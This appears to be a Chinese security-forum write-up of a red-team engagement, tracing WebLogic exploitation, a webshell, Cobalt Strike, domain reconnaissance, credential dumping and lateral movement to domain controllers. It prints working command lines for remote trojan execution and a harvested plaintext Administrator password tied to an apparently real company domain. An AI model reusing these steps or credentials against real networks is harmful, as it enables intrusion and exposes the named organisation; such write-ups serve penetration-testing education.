攻防|记一次平平无奇有手就行的幸运域控
 南窗  分类:IT技术  人气:79  回帖:0  发布于1年前 收藏

文章首发在:奇安信攻防社区

https://forum.butian.net/share/2119

0x00 前言

最近在学习内网渗透,很想找个机会练练手。正好团队接到红队评估的项目,于是便有了此文,没什么技术含量,师傅们轻点喷。

0x01外网打点

在外网打点的的时候,都是些小打小闹,没有拿到权限,很是苦恼,最后突然发现了这个站点,一下子坐了起来,直觉告诉我有戏

Ps: 这里自己总结了一些Weblogic常见漏洞

Weblogic12存在 Wls9-async漏洞和 XMLDecoder漏洞,这里直接利用漏洞利用工具验证,漏洞存在。

先简单看一下当前用户权限,当前为administrator权限

直接传个冰蝎上去看看

冰蝎连上去,内网信息收集一波

系统:Windows Server 2008 R2 Enterprise
域:berca.co.id

当前主机是一台Windows Server 2008的机子,那我们就可以抓到明文密码,并且存在域环境。

IPv4 Address. . . . . . . . . . . : 192.168.10.22

Primary Dns Suffix  . . . . . . . : berca.co.id

DNS Suffix Search List. . . . . . : berca.co.id

DNS Servers . . . . . . . . . . . : 192.168.15.187

                       192.168.15.180     

收集到这里,通过DNS服务器初步判断,192.168.15.180、192.168.15.187这两台就是域控机器,后面也证实这两台就是域控机器。

再看一下进程列表,看一下是否存在杀软,就很棒,居然没有杀软

查看域用户失败,提示权限不足

net user /domain   //查看域用户

默认共享开启

net share  //查看默认共享

0x02上线CS

后续想继续收集一些域信息,但是因为权限不足,所以干脆一不做二不休直接祭出内网大杀器CS,直接powershell一句话上线CS

域信息收集

内网存活主机扫描一波:

net view /domain   //查询域
net view /domain:ROOT  //查询ROOT域内所有机器
net group "domain computers" /domain  //查询所有域成员计算机列表

大概看了下,有好几百台机子,还不错。

net time /domain  //查询主域

域服务器通常也会作为时间服务器,主域:\\ADBHPSRV.berca.co.id

net group "Domain Controllers" /domain  //查看域控列表
Nslookup -type=SRV \_ldap.\_tcp  //查看域控主机名

得到两台域控的地址和主机名:

192.168.15.187 adbhpsrv.berca.co.id

192.168.15.180 adbhpsrv02.berca.co.id
net group "domain admins" /domain  //查询域管

域管还挺多,我们只要能拿到一个域管的权限,就可以在这个域内漫游了

net accounts /domain  //获取域密码信息
nltest /domain\_trusts  获取域信任信息

抓取hash

在内网渗透中,很多横向移动的方法都需要先获取用户的密码或者Hash值才能进行,比如哈希传递攻击、票据传递等等。

因为目标机是windows server 2008,所以直接抓到了明文密码:

得到明文密码:Administrator/Psft24680!!@@62##

提权

因为当前是一个Administrator权限,当前主机补丁打得也比较少,所以这里尝试利用甜土豆提权到system,提权成功反弹回来一个system权限的会话

0x03横向移动

IPC$横向

IPC 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC可以与目标主机建立一个连接,利用这个连接,可以实现远程登陆及对默认共享的访问、访问目标机器的文件,上传、下载,也可以在目标机器上运行命令等。

使用条件

• 管理员开启了默认共享

默认共享是为了方便管理员远程管理而默认开启的共享,我们通过IPC连接可以实现对这些默认共享的访问。可以通过net share命令查看,前期信息收集时,就已经查看过当前主机是开启了默认共享的。

• 139、445端口开启

IPC连接需要139或445端口来支持,我们可以通过139和445端口来实现对共享文件/打印机的访问,IPC$连接默认会走445端口,不通的话会走139端口,这两个端口都可以单独实现文件共享。

当前主机满足上述IPC的利用条件,所以先尝试做IPC连接,发现10.23可以连接成功

shell net use \\\\192.168.10.23\\ipc$ "Psft24680!!@@62##" /user:"Administrator"

然后在本机传个马,copy过去

shell copy C:\\Windows\\Temp\\ma.exe \\\\192.168.10.23\\c$\\Windows\\Temp\\ma.exe

之后利用wmic远程执行

shell wmic /node:192.168.10.23 /user:Administrator /password:Psft24680!!@@62## process call create "cmd.exe /c C:\\Windows\\Temp\\ma.exe"

但是在我传过去之后机器久久未上线,远程获取进程发现也并无杀软,猜测目标机器不出网。

SMB Beacon

SMB Beacon使用命名管道与父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,常用来绕防火墙有奇效。

使用条件

• 具有SMB Beacon的主机必须接受端口445上的连接

• 只能链接由同一Cobalt Strike实例管理的Beacon

在域中,默认域用户是可以登录到除域控以外的所有主机。当我们得到其中一个域用户的账号密码,所以我们可以利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线,于是批量扫了下445开放的主机

这里扫到了10.23机器开放,前面IPC也是利用的它,这里试试用SMB Beacon让其上线。

建立SMB Beacon监听

首先创建一个SMB Beacon的监听

psexec_psh横向

建立好SMB Beacon监听,尝试进行横向,利用明文密码或者hash让机器上线SMB Beacon,这里利用的是psexec_psh

利用SMB Beacon成功上线后,后面就会有 ∞∞ 这个字符,这就是派生的SMB Beacon,之后再在这台机子抓hash

然后重复操作10.18、10.19

在横向18、19的时候发现了一个疑似域用户的,可以重复上面的IPC连接传马远程执行,或者用这个机子继续去smb横向

当我成功横向24的时候发现了一个域管用户sp\_farm,并成功抓取到了明文密码

域管上线

1. 当抓到域管明文,可以直接利用CS的功能,切换用户上线

2. 如果没域管明文,可以查看当前机子是否有域管进程,注入域管进程上线

通过上述两种方式,都可以得到域管权限的回话

横向域控

有了域管权限,就可以直接横向域控了,前期的信息收集我们知道域控都在15段,我们当前所有拿到的机子都是10段的,所以这里利用了CS的另一个功能,我们可以自己添加目标机器,这里直接把域控的IP和主机名都添加上,操作系统写ukonw就可以了

添加好域管主机后,扫描了一下域控机器是否开放了445端口

发现都开放了445,之后就可以用域管权限的会话,或者域管权限的账户横向过去

横向成功,域控主机成功上线

然后导出域内hash,全部拿下

0x04 总结

内网渗透的思路、方法远远不止于此,本项目中用到的也只是很小的一部分,如果文中有错误,望大佬们斧正。

0x05 参考链接

https://github.com/aleenzz/Cobalt\_Strike\_wiki/

讨论这个帖子(0)垃圾回帖将一律封号处理……